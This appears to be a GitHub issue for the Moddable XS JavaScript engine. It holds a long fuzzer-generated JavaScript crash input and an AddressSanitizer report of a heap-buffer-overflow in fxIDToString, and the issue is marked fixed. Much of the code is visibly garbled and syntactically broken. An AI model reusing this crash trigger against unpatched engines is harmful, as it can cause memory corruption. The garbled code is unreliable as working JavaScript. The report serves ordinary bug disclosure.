var d = new Array(1, 2, 3);
var MEM = new stdlib.Uint8Array(heap);
              function log() {
   var str = 'prototype';
   for (var i = 0; GXka; i++) {
      str += arguments[i];
   }
}
                     str += '</h3>';
var str = 'č' + oob + '}';
                     var d = new Array(1, 2, 3);
                     var oobString = fun.toString();
'*'.repeat(str);
                     var fun = eval(str);
               function foo(x) {
                     var Wtwd = new Map([
                                 0.679732693083732.
                                 -9007199254740994,
42,
                                 0.2,
-9007199254740992
                                  -4294967296,
                                  -1.7976931348623157e+308,
                                 1073741822,
3.141592653589793,
                                  9007199254740994,
                                 1200,
1e+400,
```

```
3037000498
                           ]
                     ]);
                     MEM[MEM[b2[12]]] *= 0;
               return { foo: foo };
       }(this, {}, new ArrayBuffer(1)).foo;
var oobString = parseInt();
       return oobString;
b2[111] = 255;
var obj = {};
var m = '*'.repeat(new Uint8Array(f(v => parseInt(v, 16))));
b2[112] = 255;
 function makeOobString() {
       var oob = 'eval';
var hiddenValue = getHiddenValue();
       var str = '';
var fun = eval(str);
var m = '-0'.repeat(new Uint&Array(print(/[\s\r\n]+/g).map(v => parseInt(v, 16))));
      van m = '-0'.repeat(new Uint8Array(print(/[\s\r\n]*
Zxac.call(fun, hiddenValue);
var r = new RegExp(RegExp('\'/0/\''));
var p = new Proxy([], handler);
var oobString = makeOobString();
var hiddenValue = getHiddenValue();
var ar = new Int8Array(c[0]);
var oobString = Object.assign(/[\s\r\n]*/g).map();
       return oobString;
function log() {
   var str = '/0/';
   var p = new Proxy([], handler);
   for (var i = 0; KTta; i++) {
              str += arguments[i];
       var a = new Array(1, 2, 3);
       function getHiddenValue() {
              var obj = {};
var oob = 'eval';
              val ob = cval;
oob = oob.replace('re', 'eval'.repeat(1048576));
var str = '{}' + oob + '(new String(\'\'))';
var fun = eval(str);
Object.assign(obj, fun);
              return obj;
       f(str);
var MEM = new stdlib.Uint8Array(heap);
var oobString = fun.toString();
function makeOobString() {
       var hiddenValue = getHiddenValue();
var str = ' \'use strict\' ';
var str = '';
       function makeOobString() {
              var hiddenValue = getHiddenValue();
var str = '(new Boolean(false))';
var fun = eval(str);
Object.assign(fun, hiddenValue);
              var oobString = fun.toString();
return oobString;
       }
var fun = eval(str);
var array = [];
var oobString = fun.toString();
var str = ' /x/g ';
var r = new RegExp(RegExp(''));
function log() {
              var str = 'true';
var hiddenValue = getHiddenValue();
              for (var i = 0; GXka; i++) {
    str += arguments[i];
              var i = 0;
str += '</h3>';
               f(str);
       Zxac.call(fun, hiddenValue);
       var handler = {
   get: function (target, name) {
                    if (name == '\'0\'') {
    return 256;
                     var i = 0;
                     return { [Symbol.species]: dummy };
              has: function (target, name) {
   var oobString = makeOobString();
                     return true;
        var oobString = makeOobString();
       var foo = function (stdlib, foreign, heap) {
              function test() {
    return 131354989131639;
              var a = new Array(1, 2, 3);
var MEM = new stdlib.Uint8Array(heap);
              var oobString = fun.toString();
function foo(x) {
    MEM[MEM[b2[0.21503255514884878]]] *= 0;
               return { foo: foo };
       }(this, {}, new ArrayBuffer(1)).foo;
var oobString = Object();
return oobString;
 b2[113] = 255;
 function log() {
       var o = a.map.call(p, test);
var str = '(new String(\'\'))';
for (var i = 0; KTta; i++) {
```

```
str += arguments[i];
               function test() {
    return 131354989131639;
        str += ' \'A\' ';
        var fun = eval(str);
xhCc.call(str);
b2[114] = 31;
b2[689] = 127;
var obj = {};
b2[116] = 32;
 balling = 3:
parseInt(null);
var r = new RegExp(RegExp('(new Number(0))'));
var str = '{}' + oob + 'Infinity';
 b2[117] = 0;
function log() {
   var str = '<h3>';
   for (var i = 0; GXka; i++) {
             str += arguments[i];
        var oobString = makeOobString();
str += '</h3>';
var d = new Array(1, 2, 3);
        Object(str);
var fun = eval(str);
 var MEM = new stdlib.Uint8Array(heap);
var fun = eval(str);
var fun = eval(str);
var i = 0;
var 1 = 0;
b2[118] = 32;
var p = new Proxy([], handler);
b2[119] = 1;
var oob = '1024';
b2[120] = 65;
var fun = eval(str);
 b2[0.39265877342697486] = 4;
 b2[122] = 108;
 function makeOobString() {
       var hiddenValue = getHiddenValue();
var str = ' /x/g ';
var fun = eval(str);
        Object.assign(fun, hiddenValue);
var oobString = fun.toString();
        return oobString;
 var a = new Array(1, 2, 3);
 function getHiddenValue() {
       var obj = {};
var obj = {};
var ob = 'eval';
obb = obb.replace('re', '(new Boolean(false))'.repeat(165));
var str = '{}' + oob + '}';
var fun = eval(str);
Object.assign(obj, fun);
object.assign(obj, fun);
        return obj;
 }
var ar = new Int8Array(c[0]);
var oob = 'arguments.callee';
var handler = {
   get: function (target, name) {
               if (name == 'length') {
   return 256;
                return { [Symbol.species]: dummy };
        has: function (target, name) {
    return true;
function makeOobString() {
       ctton makewoostring() {
var hiddenValue = getHiddenValue();
var str = ' /x/g ';
var fun = eval(str);
Object.assign(fun, hiddenValue);
var oobString = fun.toString();
return oobString;
 b2[123] = 106;
b2[123] = 100;
b2[124] = 33;
van oobString = fun.toString();
b2[125] = 2;
b2[126] = 2;
van oobString = makeOobString();
 b2[127] = 64;
function makeOobString() {
      var r = new RegExp(RegExp('this'));
var hiddenValue = getHiddenValue();
var str = '(new Number(-0))';
var fun = eval(str);
       var i = 0;
print(fun, hiddenValue);
var oobString = 'wrappedJSObject'.repeat();
var str = '' + oob + '}';
        return oobString;
 var obj = {};
var ar = new Int8Array(c[0]);
b2[128] = 3;
var Tizh = b2[0.7439351210724463];
b2[129] = 64;
b2[0.8544370950808029] = 32;
var MEM = new stdlib.Uint8Array(heap);
b2[131] = 489;
b2[132] = 32;
 var oobString = fun.toString();
var o = a.map.call(p, test);
var a = new Array(1, 2, 3);
 \label{eq:var_map} $$ var \ m = parseInt(new UintBArray('configurable'.split(/[\s\r\n]+/g).map(v \Rightarrow parseInt(v, 16)))); $$ var \ o = a.map.call(p, test); $$
 f();
```

```
b2[133] = 0.09303413024051976;
   var m = oob.replace(/[\s\r\n]+/g).map(new Uint8Array(Object(v => parseInt(v, 16))));
  b2[134] = 518:
   var r = new RegExp(RegExp('(new Number(0))'));
  var m = '__proto_'.repeat(new Uint8Array('00 61 73 6d 01 00 00 00 00 05 04 42 42 42 0 1F 04 41 41 41 41'.split(/[\s\r\n]+/g).map(v => parseInt(v, 16)))); b2[809] = 13;
 b2[136] = 1;
var oobString = makeOobString();
var Wtwd = new Map([
           [
                        1073741823,
                          -9007199254740994,
                          42,
                         0.2.
                         -9007199254740992
             ],
                          -4294967296.
                         -1.7976931348623157e+308, 1073741822,
                         3.141592653589793,
9007199254740994,
                         1200,
0.3960554209954754,
                         3037000498
             ]
 1);
   \label{eq:var_map} $$ var \ m = DJkJ.call(new Uint8Array(''.repeat(/[\s\r\n]+/g).map(v \Rightarrow parseInt(v, 16)))); $$ $$ $$ var \ m = DJkJ.call(new Uint8Array(''.repeat(/[\s\r\n]+/g).map(v \Rightarrow parseInt(v, 16)))); $$ $$ $$ var \ m = DJkJ.call(new Uint8Array(''.repeat(/[\s\r\n]+/g).map(v \Rightarrow parseInt(v, 16)))); $$ $$ $$ var \ m = DJkJ.call(new Uint8Array(''.repeat(/[\s\r\n]+/g).map(v \Rightarrow parseInt(v, 16)))); $$ $$ $$ var \ m = DJkJ.call(new Uint8Array(''.repeat(/[\s\n]+/g).map(v \Rightarrow parseInt(v, 16)))); $$ $$ $$ var \ m = DJkJ.call(new Uint8Array(''.repeat(/[\s\n]+/g).map(v \Rightarrow parseInt(v, 16)))); $$ $$ $$ var \ m = DJkJ.call(new Uint8Array(''.repeat(/[\s\n]+/g).map(v \Rightarrow parseInt(v, 16)))); $$ $$ $$ var \ m = DJkJ.call(new Uint8Array(''.repeat(/[\s\n]+/g).map(v \Rightarrow parseInt(v, 16)))); $$ $$ var \ m = DJkJ.call(new Uint8Array(''.repeat(/[\s\n]+/g).map(v \Rightarrow parseInt(v, 16)))); $$ $$ var \ m = DJkJ.call(new Uint8Array('''.repeat(/[\s\n]+/g).map(v \Rightarrow parseInt(v, 16)))); $$ $$ var \ m = DJkJ.call(new Uint8Array('''.repeat(/[\s\n]+/g).map(v \Rightarrow parseInt(v, 16)))); $$ $$ var \ m = DJkJ.call(new Uint8Array('''.repeat(/[\s\n]+/g).map(v \Rightarrow parseInt(v, 16)))); $$ $$ var \ m = DJkJ.call(new Uint8Array('''.repeat(/[\s\n]+/g).map(v \Rightarrow parseInt(v, 16)))); $$ $$ var \ m = DJkJ.call(new Uint8Array('''.repeat(/[\s\n]+/g).map(v \Rightarrow parseInt(v, 16)))); $$ $$ var \ m = DJkJ.call(new Uint8Array('''.repeat(/[\s\n]+/g).map(v \Rightarrow parseInt(v, 16))); $$ var \ m = DJkJ.call(new Uint8Array('''.repeat(/[\s\n]+/g).map(v \Rightarrow parseInt(v, 16))); $$ var \ m = DJkJ.call(new Uint8Array('''.repeat(/[\s\n]+/g).map(v \Rightarrow parseInt(v, 16))); $$ var \ m = DJkJ.call(new Uint8Array('''.repeat(/[\s\n]+/g).map(v \Rightarrow parseInt(v, 16))); $$ var \ m = DJkJ.call(new Uint8Array('''.repeat(/[\s\n]+/g).map(v \Rightarrow parseInt(v, 16))); $$ var \ m = DJkJ.call(new Uint8Array('''.repeat(/[\s\n]+/g).map(v \Rightarrow parseInt(v, 16))); $$ var \ m = DJkJ.call(new Uint8Array('''.repeat(/[\s\n]+/g).map(v \Rightarrow parseInt(v, 16))); $$ var \ m = DJkJ.call(new Uint8Array('''.repeat(/[\s\n]+/g).map(v \Rightarrow parseInt((v, 16))); $$ var \ m =
var m = DJKJ.call(new Uintb
b2[890] = 65;
var fun = eval(str);
var obj = {};
b2[138] = 42;
b2[139] = 16;
b2[140] = 0;
function makeOobString() {
             var hiddenValue = getHiddenValue();
var str = ' /x/g ';
var fun = eval(str);
             Object.assign(fun, hiddenValue);
var oobString = fun.toString();
              return oobString;
   var KTta = ijjkkk < 100000;
  b2[141] = 32;
 b2[142] = 3;
var ar = new Int8Array(c[0]);
 var fun = eval(str);
b2[0.5916016519869236] = 65;
   var o = a.map.call(p, test);
 var o = a.map.call(p, test);
b2[144] = 196;
var obj = {};
var str = 'ch3o';
var d = new Array(1, 2, 3);
var oobString = Object();
function log() {
             function test() {
return 974;
               var str = 'constructor';
             for (var i = 0; KTta; i++) {
                        var fun = eval(str);
str += arguments[i];
             }
var r = new RegExp(RegExp('(new Number(0))'));
str += ' "" ';
var fun = eval(str);
             log(str);
 var DbXR = b2[169];
var oob = '1.23';
 var oobString = makeOobString();
var oobString = makeOobString();
function getHiddenValue() {
            ction gethiodeevalue() {
van obj = {};
var oob = 'function(){}';
oob = oob.replace('', '&'.repeat(1048576));
van stn = '{}' + oob + '};
var fun = eval(str);
              Object.assign(obj, fun);
              return obj;
 )
b2[145] = 0;
var str = ' /x/g ' + oob + 'new String(\'\')';
b2[0.31981663195431476] = 32;
 b2[147] = 0;
var str = 'configurable';
  b2[0.10015913892675243] = 0.4531112950164282;
 var i = 0;
var str = '\'use strict\' ';
 var xhCc = Object(1073741823);
function test() {
            return 131354989131639;
 }
b2[149] = 2;
var str = '<h3>';
var oobString = makeOobString();
function foo(x) {
              var i = 0;
               MEM[array.length] *= 0.03463922022521104;
             function test() {
                      return 131354989131639;
              var ar = new Int8Array(c[0]);
  var str = '{}' + oob + '';
 var fun = eval(str);
var oobString = getHiddenValue();
b2[0.0448064917304849] = 0;
b2[0.0440004]]; b4[15] = 0; b2[151] = 990; b2[151] = 990; b2[152] = 0.6499810409448248; b2[153] = 0;
```

```
b2[154] = 106;
function makeOobString() {
       ction makeOobString() {
   van hiddenValue = getHiddenValue();
   van str = 'new String(\'q\')';
   van fun = eval(str);
   Object.assign(fun, hiddenValue);
   van oobString = fun.toString();
   return oobString;
var str = str;
function getHiddenValue() {
       var obj = {};
var oob = 'caller';
       var oob = 'caller';
oob = parseInt('[0]', foo(/[\s\r\n]+/g).map(1048576));
var m = foo(new Uint8Array(getHiddenValue(v => parseInt(v, 16))));
var obString = fun.toString();
var str = '({valueOf:function(){return \'0\';}})';
       var a = new Array(1, 2, 938);
var c = ''.repeat(m, 'AAAA');
function foo(x) {
                MEM[array.length] *= 0;
        function log() {
   var str = '';
   var oob = 'eval';
                for (var i = 0; KTta; i++) {
   str += arguments[i];
   var oobString = fun.toString();
               str += '({valueOf:function(){return 0;}})';
fun.toString(str);
         var fun = eval(str);
       var fun = eval(str);
function getHiddenValue() {
  var obj = {};
  var oob = 'createIsHTMLDDA()';
  oob = oob.replace('re', 'constructor'.repeat(166));
  var str = '{}' -oob + '(new String(\'\'))';
  var fun = eval(str);
  Object.assign(obj, fun);
                return obj;
       Zxac.call(obj, fun);
var str = '[1]' + oob + '}';
        return obj;
}
b2[155] = 33;
b2[554] = 0.8303399345773845;
var i = 0;
var shGT = Promise;
var Wtwd = new Map([
                1073741823,
                 -9007199254740994,
                42,
                0.2.
                 -9007199254740992
                -4294967296,
                -1.7976931348623157e+308, 1073741822,
                3.141592653589793,
9007199254740994,
               1200,
1e+400,
                3037000498
       ]
]);
var MEM = new stdlib.Uint8Array(heap);
var r = new RegExp(RegExp('(new Number(0))'));
b2[523] = 32;
var oobString = makeOobString();
var oob = 'null';
var o = a.map.call(p, test);
b2[158] = 0;
b2[159] = 65;
var hiddenValue = getHiddenValue();
b2[160] = 4;
b2[161] = 106;
 function getHiddenValue() {
       tetton gerntumenvalue() {
  var obj = {};
  var oob = 'new String(\'q\')';
  oob = oob.replace('{\(x:3\)}', '+0'.repeat(1048576));
  var str = '\{'\}' + oob + '(new Boolean(true))';
  var fun = eval(str);
       Object.assign(obj, fun); return obj;
var str = '1024';
var Wtwd = new Map([
      ]
                1073741823
                  -9007199254740994,
                914,
                0.2.
                -9007199254740992
                -4294967296,
                -1.7976931348623157e+308, 1073741822,
                939,
9007199254740994,
               1200,
1e+400,
                3037000498
       ]
]);
b2[162] = 33;
var fun = eval(str);
var i = 0;
var HGzH = f();
```

```
b2[163] = 0;
var str = '+0';
function getHiddenValue() {
      var obj = {};
str += arguments[i];
             var fun = eval(str);
str += '</h3>';
             print(str);
       oob = getHiddenValue('re', getHiddenValue(1048576));
       var ar = new Int8Array(c[0]);
var str = ' \'use strict\' ' + oob;
       function foo(x) {
             MEM[array.length] *= 0;
var r = new RegExp(RegExp('(new Number(0))'));
        var fun = eval(str);
       JSON.parse(obj, fun);
return obj;
 b2[164] = 399;
b2[164] = 395,

b2[165] = 742;

var obj = {};

var p = new Proxy([], handler);

var hiddenValue = getHiddenValue();
 b2[166] = 11;
function foo(x) {
    MEM[MEM[b2[151]]] *= 0;
b2[167] = 11;
b2[168] = 32;
 var hiddenValue = getHiddenValue();
var p = new Proxy([], handler);
 var oobString = '*'.repeat();
b2[169] = 3;
b2[170] = 11;
var oob = 'function(){}';
 function f() {
   function log() {
             var str = '<h3>';
for (var i = 0; KTta; i++) {
                  str += arguments[i];
var oobString = fun.toString();
             f
str += '</h3>';
''.repeat(/[\s\r\n]+/g).map(str);
       print('(new Boolean(true))');
 var oobString = Object();
 var c = '(new Boolean(false))'.repeat(m, 'AAAA');
function makeOobString() {
       var hiddenValue = getHiddenValue();
var str = 'writable';
var fun = eval(str);
       Object.assign(fun, hiddenValue);
var oobString = fun.toString();
       return oobString;
 var memory = new WebAssembly.Memory({
       maximum: 1
});
function getHiddenValue() {
    var i = 0;
    var obj = {};
    var str = '{}' + oob + '}';
    var oob = '[1]';
       var o = a.map.call(p, test);
oob = '00 61 73 6d 01 00 00 00 00 05 04 42 42 42 42 0 1F 04 41 41 41 '.split('[\'z\']', 'arguments.callee'.repeat(/[\s\r\n]+/g).map(1048576));
       var str = 'undefined';
       var c = foo(m, 'AAAA');
function foo(x) {
             MEM[array.length] *= 0;
             var hiddenValue = getHiddenValue();
var o = a.map.call(p, test);
        var handler = {
   get: function (target, name) {
                  if (name == 'length') {
    return 256;
                  }
var i = 0;
return { [Symbol.species]: dummy };
             has: function (target, name) {
                   return true;
             }
       };
       var a = new Array(1, 2, 3);
var ar = new Int8Array(c[0.31387494748168865]);
       foo(obj, fun);
var oob = 'eval';
var p = new Proxy([], handler);
       var p = new Proxy([], nandler);
function log() {
    var str = 'ch3>';
    for (var i = 0; GXka; i++) {
        var d = new Array(1, 2, 3);
        str += arguments[i];
}
             str += '</h3>';
print(/[\s\r\n]+/g).map(str);
        var o = a.map.call(p, test);
       return obj;
```

```
f();
  var fun = eval(str);

var hiddenValue = getHiddenValue();

var mod = new ('00 61 73 6d 01 00 00 00 00 05 04 42 42 42 42 0 1F 04 41 41 41 '.split(/[\s\r\n]+/g)).map(b2);
  var i = new WebAssembly.Instance(mod, {
      imports: { imported func: f },
      js: { mem: memory }
  function getHiddenValue() {
      var obj = {};
var oob = 'eval';
      var oub = eval,
oub = oob.replace('', 'eval'.repeat(836));
var str = '{}' + oob + '(new Boolean(true))';
var fun = eval(str);
      Object.assign(obj, fun);
  var ar = new Int8Array(c[0]);
var FMRc = b2[102];
   var str = DJkJ.call(/[\s\r\n]+/g).map(/[\s\r\n]+/g);
description
   ==5952==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61b00001f730 at pc 0x7fb0e59e7709 bp 0x7ffdf461acb0 sp 0x7ffdf461a458
  WRITE of size 3349 at 0x61b00001f730 thread T0
      #0 0x7fb0e59e7708 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x62708)
#1 0x62b200 in fxIDToString /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsSymbol.c:510
      #2 0x5d5fa9 in fxRunID /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsRun.c:2135 #3 0x604ee7 in fxRunScript /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsRun.c:4708
      #4 0x5fe6a4 in fxRunEval /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsRun.c:4279 #5 0x5f96a0 in fxRunID /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsRun.c:3970
      #6 0x604ee7 in fxRunScript /home/node/mmfuzzer/asan moddable/moddable/xs/sources/xsRun.c:4708
       #7 0x6fa9f9 in fxRunProgramFile /home/node/mmfuzzer/asan_moddable/moddable/xs/tools/xst.c:1369
      #8 0x6ed74c in main /home/node/mmfuzzer/asan_moddable/moddable/xs/tools/xst.c:270 #9 0x7fb0e50b582f in _libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
      #10 0x4146a8 in start (/root/AFL/targets/moddable/xst+0x4146a8)
  0x61b00001f730 is located 0 bytes to the right of 1456-byte region [0x61b00001f180,0x61b00001f730)
  allocated by thread T0 here:
#0 0x7fb0e5a1d79a in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9879a)
      #1 0x42079e in fxCreateMachine /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsAPI.c:1271 #2 0x6ec9a0 in main /home/node/mmfuzzer/asan_moddable/moddable/xs/tools/xst.c:249
      #3 0x7fb0e50b582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
  SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 ??
  Shadow bytes around the buggy address:
    Shadow byte legend (one shadow byte represents 8 application bytes):
    Addressable:
    Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb
    Freed heap region:
Stack left redzone:
    Stack mid redzone:
    Stack right redzone:
     Stack partial redzone:
    Stack after return:
Stack use after scope:
    Global redzone:
    Global init order:
    Poisoned by user:
    Container overflow:
    Array cookie:
Intra object redzone:
    ASan internal:
  ==5952==ABORTING
```

mkellner pushed a commit that referenced this issue on Mar 15, 2021

XS: #583 d2d9a0f

phoddie added the fixed - please verify label on Mar 15, 2021

phoddie closed this as completed on Mar 23, 2021

## Assignees

No one assigned

var obj = {};

ojects ne yet
lestone milestone
velopment branches or pull requests

2 participants

